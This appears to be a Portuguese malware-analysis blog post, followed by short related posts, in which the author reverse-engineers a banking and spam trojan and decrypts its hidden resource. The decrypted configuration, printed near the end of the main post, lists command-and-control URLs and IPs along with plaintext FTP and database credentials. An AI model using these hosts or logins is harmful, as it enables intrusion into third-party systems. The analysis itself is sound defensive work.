<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhRNtPBCgf7bGO25Je-7X2SZdGBdAyYj8Uy5v0WWz3ITMDvzTuAppK6JpMqlpWFzK7qqUGyi0c-bp6Z2RGTLBZ505ONVpJ4Jwpe5g5I35DDB3_aZbxFYiBt-b34dsjnM8siNkECW-Y8Hw/s1600/05-ida-strings.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhRNtPBCgf7bGO25Je-7X2SZdGBdAyYj8Uy5v0WWz3ITMDvzTuAppK6JpMqlpWFzK7qqUGyi0c-bp6Z2RGTLBZ505ONVpJ4Jwpe5g5I35DDB3_aZbxFYiBt-b34dsjnM8siNkECW-Y8Hw/s1600/05-ida-strings.jpg" /></a></span></div>
<div class="separator" style="clear: both; font-family: inherit; text-align: justify;">
<span style="font-size: small;"><a href="http://1.bp.blogspot.com/-_uFbrLZkquY/TkLXN7-T_gI/AAAAAAAAAFo/XSQpc3VEilw/s1600/05-ida-strings.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;">Além
dessas strings teve uma outra que me chamou atenção, seguia um padrão
diferente utilizando apenas números hexadecimais e possuia cerca de 16
KB de tamanho, isso dá mais de 16 mil caracteres!</span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheBs7MgBt9Beln7eWiOLBtTZYX__J651W3Wk-AhMSsLD9k74LNzCWN3CwRx3bkkf5nolKq3lmdGwiNJ_YjNSaUpRmabjufu4Zz8JshQ6DfSXuQU8BpoMxqHr0JxhXZAI8GEQvYFe5IxDs/s1600/06-string-hex.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheBs7MgBt9Beln7eWiOLBtTZYX__J651W3Wk-AhMSsLD9k74LNzCWN3CwRx3bkkf5nolKq3lmdGwiNJ_YjNSaUpRmabjufu4Zz8JshQ6DfSXuQU8BpoMxqHr0JxhXZAI8GEQvYFe5IxDs/s1600/06-string-hex.jpg" /></a></span></div>
<div class="separator" style="clear: both; font-family: inherit; text-align: justify;">
<span style="font-size: small;"><a href="http://1.bp.blogspot.com/-rGXNjZdPOAQ/TkLXPFbq6ZI/AAAAAAAAAFs/LsNEicyNxF0/s1600/06-string-hex.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;">Outro detalhe, no campo Address vemos que ela está na seção <b>.rsrc</b>
(Resources) do executável, não é um lugar muito comum de se encontrar
uma string de usuário, geralmente elas ficam nas seções .text e .data. A
seção .rsrc costuma armazenar bitmaps, dialogs, ícones e strings do
sistema.</span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;">Com
um editor de executáveis (arquivo PE) podemos visualizar todas as
seções de um arquivo, duas ferramentas que fazem isso são o <b>CFF Explorer</b> e o <b>PEBrowse Professional</b>.
Abaixo vemos que dentro do diretório Resources há um tipo denominado
“HTMLFILE” e dentro dele há o SVCHOST que é o nome da resource que
armazena a string que havíamos encontrado.</span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiUTLQHh2RL-uTk-XwHcNbjqJS0K-knSuumARvuMrADrnRKN4hhyphenhyphenz2ENLxiAtf35tigmmTDGbIiL8QhIpRfucEi0ilb_N5S-hHAiJInWOj50uE7vjqzTCUcbP2R17EWVX3s4JbhOg9M3o/s1600/07-resources_section.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiUTLQHh2RL-uTk-XwHcNbjqJS0K-knSuumARvuMrADrnRKN4hhyphenhyphenz2ENLxiAtf35tigmmTDGbIiL8QhIpRfucEi0ilb_N5S-hHAiJInWOj50uE7vjqzTCUcbP2R17EWVX3s4JbhOg9M3o/s1600/07-resources_section.JPG" /></a></span></div>
<div class="separator" style="clear: both; font-family: inherit; text-align: justify;">
<span style="font-size: small;"><a href="http://4.bp.blogspot.com/-QhlCl7chpJI/TkLXPTGt13I/AAAAAAAAAFw/NebIebrjFhM/s1600/07-resources_section.JPG" style="margin-left: 1em; margin-right: 1em;"><br />
</a></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;">Voltando
ao executável, ao verificarmos a lista de imports da biblioteca
KERNEL32.DLL encontramos referências a várias funções que lidam com a
seção resources: FindResourceA, LoadResource, SizeofResource,
LockResource e FreeResource. </span> </div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="western" style="font-family: inherit; margin-bottom: 0cm; text-align: justify;">
<span style="font-size: small;">Buscando as especificações da função <b>FindResource</b> no <span style="color: navy;"><span lang="zxx"><u><a href="http://msdn.microsoft.com/en-us/library/ms648042%28v=vs.85%29.aspx">site da Microsoft</a></u></span></span> vemos que ela recebe três parâmetros:</span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><b>FindResource</b>(hModule, lpName, lpType);</span></div>
<div style="text-align: justify;">
<span style="font-size: small;">hModule: ponteiro para o arquivo PE, ou o header do arquivo;</span></div>
<div style="text-align: justify;">
<span style="font-size: small;">lpName: nome da resource;</span></div>
<div style="text-align: justify;">
<span style="font-size: small;">lpTYpe: tipo da resource;</span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;">Sabendo disso conseguimos encontrar dentro do malware onde esse recurso é utilizado, primeiro com a função <b>FindResource</b> para localizá-lo:</span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="font-family: inherit; text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkOTfnCIMLoE0BPDVvYwTsNIzjYAuOTbTbdz03ScKzpzmsaVGG7FKzu9JJq1vCMCdAKS3_HgpeAUHCmvZ2DJPZ82ugqW4Ptt8XyXBnRj4xxcwJrsh_BiDxJrqbJYRbi7dffTSAdcKKmVg/s1600/08-findresource.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkOTfnCIMLoE0BPDVvYwTsNIzjYAuOTbTbdz03ScKzpzmsaVGG7FKzu9JJq1vCMCdAKS3_HgpeAUHCmvZ2DJPZ82ugqW4Ptt8XyXBnRj4xxcwJrsh_BiDxJrqbJYRbi7dffTSAdcKKmVg/s1600/08-findresource.jpg" /></a></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgCbFx2K8ppu9fTBf6EFZ-Q_Fh_Qq-ctJ0Up9xmzkzdV8JzH98RKZFoeNyN-QxYui_ecMG2TuOwdnStjqEqIWYjJezVfQrcGbJPhE7PGG7yhE9DCAw1xZL6wFfplXD4eM9P8dpJ6vGIoM/s1600/09-loadresource.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></span></div>
<span style="font-size: small;"><a href="http://4.bp.blogspot.com/-EpQYdhHgdFg/TkLXQCp0unI/AAAAAAAAAF0/zH39Vg55uF8/s1600/08-findresource.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;">O retorno em EAX é um ponteiro para SVCHOST. E depois utilizando a <b>LoadResource</b> carrega a string para EAX:</span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgCbFx2K8ppu9fTBf6EFZ-Q_Fh_Qq-ctJ0Up9xmzkzdV8JzH98RKZFoeNyN-QxYui_ecMG2TuOwdnStjqEqIWYjJezVfQrcGbJPhE7PGG7yhE9DCAw1xZL6wFfplXD4eM9P8dpJ6vGIoM/s1600/09-loadresource.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgCbFx2K8ppu9fTBf6EFZ-Q_Fh_Qq-ctJ0Up9xmzkzdV8JzH98RKZFoeNyN-QxYui_ecMG2TuOwdnStjqEqIWYjJezVfQrcGbJPhE7PGG7yhE9DCAw1xZL6wFfplXD4eM9P8dpJ6vGIoM/s1600/09-loadresource.jpg" /></a></span></div>
<div class="separator" style="clear: both; font-family: inherit; text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;">Após a chamada dessas funções que eu nomeei de <b>CarregaRESOURCE</b> há a referência a um caminho de arquivo e logo depois o uso da função <b>CreateFileA</b> também da API KERNEL32.DLL conforme podemos ver abaixo:</span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLOIEbJkyg8TmiPXuWp9-TjVSly1RvEG6yDiqi6huoo2GeuQ8hAaA43r_YCs5G-v3Xurwojs8k7rxPAED8sx8AOIbBFJhRdpbuOgnC0Y1Dk8To8NE3B3anrGxC1WS1a8w2xPVVmLs_roE/s1600/10-createfile.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLOIEbJkyg8TmiPXuWp9-TjVSly1RvEG6yDiqi6huoo2GeuQ8hAaA43r_YCs5G-v3Xurwojs8k7rxPAED8sx8AOIbBFJhRdpbuOgnC0Y1Dk8To8NE3B3anrGxC1WS1a8w2xPVVmLs_roE/s1600/10-createfile.jpg" /></a></span></div>
<div class="separator" style="clear: both; font-family: inherit; text-align: justify;">
<span style="font-size: small;"><a href="http://3.bp.blogspot.com/-VmS6JMUITXA/TkLXRGMpdwI/AAAAAAAAAF8/hOt8WofJek8/s1600/10-createfile.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;">Com isso presumo que essa string criptografada é salva no arquivo:</span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;">C:\WINDOWS\inf\asynceql.inf</span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;">Podemos confirmar isso com a análise dinâmica executando o malware e monitorando o processo, foi exatamente o que o <b>Process Monitor</b> nos mostrou:</span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyd4Ia8WatKY6G4QUQT39cLfObpxjFLsmKPxWBXwp0ezPBkeZsK4JXxLgdTh-avqJ8nGc63Wfgs5TmGOnGb_VZ6mUjtnHKYuDgSXj_w2wpPSOlAnCv0Kj5_o92rFMs0rZI9hOrgqr7GFs/s1600/11-processmonitor_createfile.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyd4Ia8WatKY6G4QUQT39cLfObpxjFLsmKPxWBXwp0ezPBkeZsK4JXxLgdTh-avqJ8nGc63Wfgs5TmGOnGb_VZ6mUjtnHKYuDgSXj_w2wpPSOlAnCv0Kj5_o92rFMs0rZI9hOrgqr7GFs/s1600/11-processmonitor_createfile.jpg" /></a></span></div>
<div class="separator" style="clear: both; font-family: inherit; text-align: justify;">
<span style="font-size: small;"><a href="http://3.bp.blogspot.com/-tVOIQD1GINo/TkLXRr5CgDI/AAAAAAAAAGA/QkXW5mqCWyM/s1600/11-processmonitor_createfile.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;">E lá estava o arquivo salvo:</span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxgMfPRGZaxz9eTuR-Zf_B_ys6LYVk7d9Z_UV4auiFFF2GFexNy0N2bB8USl5NlsYRyhEzxF3c9NQyxrRpP6kI3GQahcyGBUR2UjUHqfHV9a9muYJla-qcsnwVBOax8UkzFZAN3Xg1QoI/s1600/12-asynceql-inf.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxgMfPRGZaxz9eTuR-Zf_B_ys6LYVk7d9Z_UV4auiFFF2GFexNy0N2bB8USl5NlsYRyhEzxF3c9NQyxrRpP6kI3GQahcyGBUR2UjUHqfHV9a9muYJla-qcsnwVBOax8UkzFZAN3Xg1QoI/s1600/12-asynceql-inf.jpg" /></a></span></div>
<div class="separator" style="clear: both; font-family: inherit; text-align: justify;">
<span style="font-size: small;"><a href="http://4.bp.blogspot.com/-adpVpC7K6u8/TkLXTFaC5mI/AAAAAAAAAGE/RmHUGf4pKFM/s1600/12-asynceql-inf.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;">Agora
falta o principal, descobrir o que esse código esconde. Ao invés de
localizar a função que faz a descriptografia dentro do malware resolvi
executá-lo no OllyDbg e observar os valores na pilha (que é o local da
memória utilizado pelas funções), ela é visível no quadrante inferior
direito da janela principal do programa.</span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;">Então
quando o malware fizer o processo para reverter o código talvez salve
na pilha o resultado da função. Abri o arquivo e executei (F9),
verificando a pilha encontrei o que parece ser a string
descriptografada:</span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUl7O9XsNywmjzxbjvr2Jk5UFG61Nx_mdfSuYFFt_EilEbyEtPRAO1kQLF-HRUYTygDXuawbAICLexwh-nzzPEDdpy-G-tySs1tXyAG1ctBsY_oXbhdS2hNA5ybfj3TdgM_v-CBeTFXh8/s1600/13-pilha-decrypt.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUl7O9XsNywmjzxbjvr2Jk5UFG61Nx_mdfSuYFFt_EilEbyEtPRAO1kQLF-HRUYTygDXuawbAICLexwh-nzzPEDdpy-G-tySs1tXyAG1ctBsY_oXbhdS2hNA5ybfj3TdgM_v-CBeTFXh8/s1600/13-pilha-decrypt.jpg" /></a></span></div>
<div class="separator" style="clear: both; font-family: inherit; text-align: justify;">
<span style="font-size: small;"><a href="http://2.bp.blogspot.com/-tgP5RIEEvrU/TkLXTgPx-aI/AAAAAAAAAGI/EM8Es-3WiPo/s1600/13-pilha-decrypt.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;">Mandei exibir a memória referente a essa string clicando com o botão direito em cima do endereço e selecionando “<b>Follow in Dump</b>”. Para melhor visualizar copiei o conteúdo e colei em um editor hexadecimal (HxD) mandando exibir apenas o Texto.</span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;">Na parte superior vemos o que parece ser o código HTML de um e-mail phishing, inclusive com assunto da mensagem:</span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP78WTkUtvNggdpBytLzvTuWLSMuJaZaJwuEB-GusasuE-Ju4qvgQQkdBBsTDHp37rmNE8WqPWB1Z8hj3ibufYetI3Kapr38gdoXi-Nb2Lv9LGt05xsHs-RJHG5TOZFYg-_M_6xyMR0Qw/s1600/14-html-phishing.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP78WTkUtvNggdpBytLzvTuWLSMuJaZaJwuEB-GusasuE-Ju4qvgQQkdBBsTDHp37rmNE8WqPWB1Z8hj3ibufYetI3Kapr38gdoXi-Nb2Lv9LGt05xsHs-RJHG5TOZFYg-_M_6xyMR0Qw/s1600/14-html-phishing.jpg" /></a></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="http://1.bp.blogspot.com/-jzCpR3LrqSI/TkLgqE8UcqI/AAAAAAAAAGY/ZwEHfV5tf0A/s1600/14-html-phishing.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;">Já na parte inferior encontramos informações mais interessantes, vários endereços de servidores web, inclusive com senhas:</span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRmrivKnRHwNVY9wSJg8y9-jLLIQp4hNkFat7weqTxxbrSGpIcwsaJBueWbGvNV3DBrZeYS3fjfwbN_qRy0rYX_bpyQkghYDy5glk9T3R4ItAGZEgJp02a7ubi5vleKT_j_-oRq4yyBlQ/s1600/15-servers.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRmrivKnRHwNVY9wSJg8y9-jLLIQp4hNkFat7weqTxxbrSGpIcwsaJBueWbGvNV3DBrZeYS3fjfwbN_qRy0rYX_bpyQkghYDy5glk9T3R4ItAGZEgJp02a7ubi5vleKT_j_-oRq4yyBlQ/s1600/15-servers.jpg" /></a></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="http://1.bp.blogspot.com/-Tjxao8Bvdh4/TkLgsNcrBRI/AAAAAAAAAGc/i22s93jv-bc/s1600/15-servers.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;">Formatando o conteúdo é possível visualizar a mensagem de phishing gerada onde há um link para outro malware:</span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: small;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid__OFayZH7V2bqwonNs-fa1jyzM6umriClY6mOIZyFa-yRMWgvOI-miVSG2v2JVRbjePCtDp5U-RRGWYmDXSmr0rPco89rY2wVmykDLtnv2MozGaFX5W4Dlq4OFdp3jHMIv5Hu5joH5Q/s1600/16-phishing-lula.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid__OFayZH7V2bqwonNs-fa1jyzM6umriClY6mOIZyFa-yRMWgvOI-miVSG2v2JVRbjePCtDp5U-RRGWYmDXSmr0rPco89rY2wVmykDLtnv2MozGaFX5W4Dlq4OFdp3jHMIv5Hu5joH5Q/s1600/16-phishing-lula.jpg" /></a></span></div>
<div class="separator" style="clear: both; font-family: inherit; text-align: justify;">
<span style="font-size: small;"><a href="http://2.bp.blogspot.com/-t1ii4iyS7UE/TkLXWmSZyKI/AAAAAAAAAGU/x1f7Ked2RV8/s1600/16-phishing-lula.jpg" style="margin-left: 1em; margin-right: 1em;"><br />
</a></span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;">O próprio malware armazena uma outra mensagem de phishing, possivelmente para atuar como spammer.</span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;">Os demais dados descriptografados após o HTML são esses:</span></div>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span>
<br />
<pre style="background: url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_TP0jhwRqWAKyIjGOZjSfJjb1x1Vgn7a3_tjqv827_ox2AOoRMAJsuZVergg2_-R3Jhyphenhyphenyd2ioPqRCzqVx-aqG7VfsW8kuUAB1CWvq1i0IDlHmTFGxC9JMy-ameKSUDw4ZAxIHtitlqqco/s320/codebg.gif") repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><span style="font-size: small;"><code style="color: black; word-wrap: normal;">[Servidor001]
Servidor=http://189.1.171.125/~vcom/
Interface=data.php
[Servidor002]
Servidor=http://189.1.171.125/~vcom/
Interface=data.php
[Servidor003]
Servidor=http://189.1.171.125/~vcom/
Interface=data.php
[Servidor004]
Servidor=http://189.1.171.125/~vcom/
Interface=data.php
[Servidor005]
Servidor=
Interface=
[Servidor006]
Servidor=
Interface=
[Proprietario]
Nome=VCOM
[Imagens]
Caminho=http://i412.photobucket.com/albums/pp205/imagem_modular/
[Update]
Link=http://belezaeproeza.tempsite.ws/newfolder/
[Reenvio]
Link=reenvio.vetnew@gmail.com
Reenvio0=http://212.124.117.11/~matroska/sender/contacts/index.php;http://212.124.117.11/~matroska/sender/mailer/hotmail.php
Reenvio1=http://212.124.117.12/~matroska/sender/contacts/index.php;http://212.124.117.12/~matroska/sender/mailer/hotmail.php
Reenvio2=http://212.124.117.13/~matroska/sender/contacts/index.php;http://212.124.117.13/~matroska/sender/mailer/hotmail.php
Reenvio3=http://212.124.117.14/~matroska/sender/contacts/index.php;http://212.124.117.14/~matroska/sender/mailer/hotmail.php
Reenvio4=http://212.124.117.15/~matroska/sender/contacts/index.php;http://212.124.117.15/~matroska/sender/mailer/hotmail.php
Reenvio5=http://212.124.117.16/~matroska/sender/contacts/index.php;http://212.124.117.16/~matroska/sender/mailer/hotmail.php
Reenvio6=http://212.124.117.17/~matroska/sender/contacts/index.php;http://212.124.117.17/~matroska/sender/mailer/hotmail.php
Reenvio7=http://212.124.117.18/~matroska/sender/contacts/index.php;http://212.124.117.18/~matroska/sender/mailer/hotmail.php
Reenvio8=http://212.124.117.19/~matroska/sender/contacts/index.php;http://212.124.117.19/~matroska/sender/mailer/hotmail.php
Reenvio9=http://212.124.117.20/~matroska/sender/contacts/index.php;http://212.124.117.20/~matroska/sender/mailer/hotmail.php
[IpServidor01]
Servidor=189.1.171.125
Usuario=vcom_user
Senha=1q2w3e4r
IP=vcom_db
[IpServidor02]
Servidor=189.1.171.125
Usuario=vcom_user
Senha=1q2w3e4r
IP=vcom_db
[IpServidor03]
Servidor=189.1.171.125
Usuario=vcom_user
Senha=1q2w3e4r
IP=vcom_db
[EscapeFtp01]
Servidor=[EDITADO].dominiotemporario.com
Usuario=[EDITADO]
Senha=tda50103
Pasta=/public_html/escapes/
[EscapeFtp02]
Servidor=ftp.terragyn.com
Usuario=dantas
Senha=833876
Pasta=/public_html/
[EscapeFtp03]
Servidor=74.220.215.219
Usuario=carrosbr
Senha=GT54@!xzjh
Pasta=/public_html/escapes/
[Escapes]
Escapes0=http://www.[EDITADO].com.br/escapes/vcom/vcom.html
Escapes1=http://www.terragyn.com/vcom/vcom.html
Escapes2=http://74.220.215.219/~carrosbr/escapes/vcom/vcom.html</code></span></pre>
<div style="text-align: justify;">
<span style="font-size: small;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: small;">Então
até aqui já resolvemos o problema das strings criptografadas e
descobrimos o conteúdo que estava escondido na seção Resources do
malware, de posse dessas informações foi possível ir além e descobrir
mais coisas interessantes sobre o funcionamento desse esquema malicioso.</span></div>
<div style="text-align: justify;">
<span style="font-size: small;">Creditos: Ronaldo P. Lima ( http://www.crimesciberneticos.com/ )</span></div>
<span style="font-size: x-small;"></span></div>
</div>
Jeferson de Oliveirahttp://www.blogger.com/profile/07519935423439055893noreply@blogger.com2tag:blogger.com,1999:blog-5153298879843594867.post-49091731484805382102012-12-29T13:11:00.000-08:002012-12-29T13:11:05.957-08:00Analise de Malware 2<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/rfb2rF14-1o?feature=player_embedded' frameborder='0'></iframe></div>
<div style="text-align: center;">
Caso estejam afim de uma video analise, enviem seus artefatos para o email: desvendandomalware@gmail.com</div>
</div>
Jeferson de Oliveirahttp://www.blogger.com/profile/07519935423439055893noreply@blogger.com0tag:blogger.com,1999:blog-5153298879843594867.post-16239112989999766572012-12-28T02:24:00.002-08:002012-12-28T02:24:33.966-08:00Analise de malware do HABBO<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<object width="320" height="266" class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://i.ytimg.com/vi/9g1Z_tjsJdM/0.jpg"><param name="movie" value="http://www.youtube.com/v/9g1Z_tjsJdM?version=3&f=user_uploads&c=google-webdrive-0&app=youtube_gdata" /><param name="bgcolor" value="#FFFFFF" /><param name="allowFullScreen" value="true" /><embed width="320" height="266" src="http://www.youtube.com/v/9g1Z_tjsJdM?version=3&f=user_uploads&c=google-webdrive-0&app=youtube_gdata" type="application/x-shockwave-flash" allowfullscreen="true"></embed></object></div>
<div style="text-align: center;">
caso estejam afim de uma video analise, enviem seus artefatos para o email: desvendandomalware@gmail.com</div>
</div>
Jeferson de Oliveirahttp://www.blogger.com/profile/07519935423439055893noreply@blogger.com0tag:blogger.com,1999:blog-5153298879843594867.post-59777178892839916992012-12-27T16:51:00.003-08:002012-12-27T16:51:44.915-08:00Softwares Mal-intencionados <div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
O mundo dos crimes cibernéticos possui alguns termos técnicos, às vezes utilizados como sinônimos, eis alguns:</div>
<ul style="text-align: justify;">
<li><b>crimeware:</b>
termo que ainda não possui uma definição oficial, mas que como o
próprio nome sugere é a junção das palavras "crime" e "software", ou
seja, são todos os softwares utilizados na prática de crimes, na maioria
das vezes através da Internet e com objetivo de ganhos financeiros.</li>
</ul>
<ul style="text-align: justify;">
<li><b>phishing scam</b> (ou
somente phishing): junção das palavras fishing (pescaria) e scam
(golpe), onde os criminosos enviam uma “isca”, geralmente um e-mail
utilizando o nome de alguma instituição conhecida, para “pescar” senhas
bancárias e outros dados pessoais das vítimas.</li>
</ul>
<ul style="text-align: justify;">
<li><b>ransomware</b>: ransom
(resgate) e software, programa que se instala no computador da vítima,
geralmente criptografa arquivos pessoais e depois cobra regaste para
liberar os arquivos.</li>
</ul>
<ul style="text-align: justify;">
<li><b>malware</b>: termo genérico que se refere a todos os sofwares que possuem algum código malicioso ou mal-intencionado. </li>
</ul>
<ul>
<li><b>banker:</b> é um tipo de malware especializado em fraudes bancárias. </li>
</ul>
<br />
via: http://www.crimesciberneticos.com (Vale apena conferir! )</div>
Jeferson de Oliveirahttp://www.blogger.com/profile/07519935423439055893noreply@blogger.com0